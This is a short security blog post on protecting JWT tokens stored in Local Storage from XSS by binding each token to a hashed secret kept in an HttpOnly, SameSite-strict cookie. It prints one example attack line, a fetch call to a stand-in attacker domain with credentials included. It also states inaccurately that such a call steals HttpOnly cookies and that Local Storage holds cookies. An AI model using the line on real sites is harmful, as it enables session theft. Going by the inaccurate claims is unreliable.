Safeguarding Insecure JWT from XSS
XSS is quite a serious issue! More serious than a simple alert you see in the typical PoCs.
And btw attackers love your cookies :)
So what happens when the 2 meet: XSS and the cookies.
Well, as you would have done yourself: Grab the cookies.
The attacker would do the same. But in between comes the HttpOnly flag which makes the cookies untouchable by Javascript. So no cookies for the attackers :(
Nooo! It can still work.
HttpOnly is not safe as you think it is!
fetch(“http://my-evil-domain.com”, {“credentials”: “include”});
This piece of JS would be enough (along with setting some CORS header on the attackers website) to steal your cookies!
Ok now you say that we have a SameSite cookie attribute as well! And we have set it to strict. In that case, I would say well done. Atleast someone cannot steal your cookies now.
But what if your JWT token is not stored in a cookie, and instead uses Local Storage!
Is is still safe from XSS? NO, it is not!
From Local Storage, the Javascript can easily pull all your cookies and send it over to attacker’s domain!
Then you, as the worried developer might ask how do I save my user’s tokens if its in the Local Storage, without changing the frontend code!
That’s what we will target in this post. If your tokens are in Local Storage (which it shouldn’t be), then how can you save yourself without changing your client-side code!!!
The Solution
If you save the JWT tokens in the Local Storage, then an XSS attack can easily get your token out and the attacker can easily impersonate you.
So to stop this from happening, what a developer can do is:
Use another cookies!
What? Another cookie to save the JWT from Local Storage?
Yes, you read it correctly. You can use another cookie (with HttpOnly flag and SameSite attribute set to strict) to save your JWT tokens from being abused!
But how so?
This special cookie that I am talking about will contain a randomly-generated secret value. And the JWT token will contain SHA256 hash of that randomly-generated secret!
And the backend would receive both JWT token and the cookie and to verify if its a legitimate user, the token’s hashed secret MUST match the sha256 hash of the secret from the cookie!
So now even if the JWT token gets stolen, since the cookie is safe (and sound), an attacker cannot impersonate you until they get hold of your cookie as well!
This way, the client side code can stay pretty much the same and only one cookie needs to be attached to every response and in the authentication checks, the above logic has to be placed (sha256(secret in the cookie) == secret in the token).
And that pretty much saves your Local Storage tokens from being compromised!
But again, it’s never a good idea to save your tokens in LocalStorage at all! So make sure to fix that if you can. And until you don’t the discussed solution could help you do a band-aid fix!
So yaay, we secured out JWT tokens…
I hope you all enjoyed this post. If you learned something interesting and would like to support my work, then consider checking my Patreon page: https://www.patreon.com/SecurityGOAT
See ya!
Until next time, keep learning and keep hacking.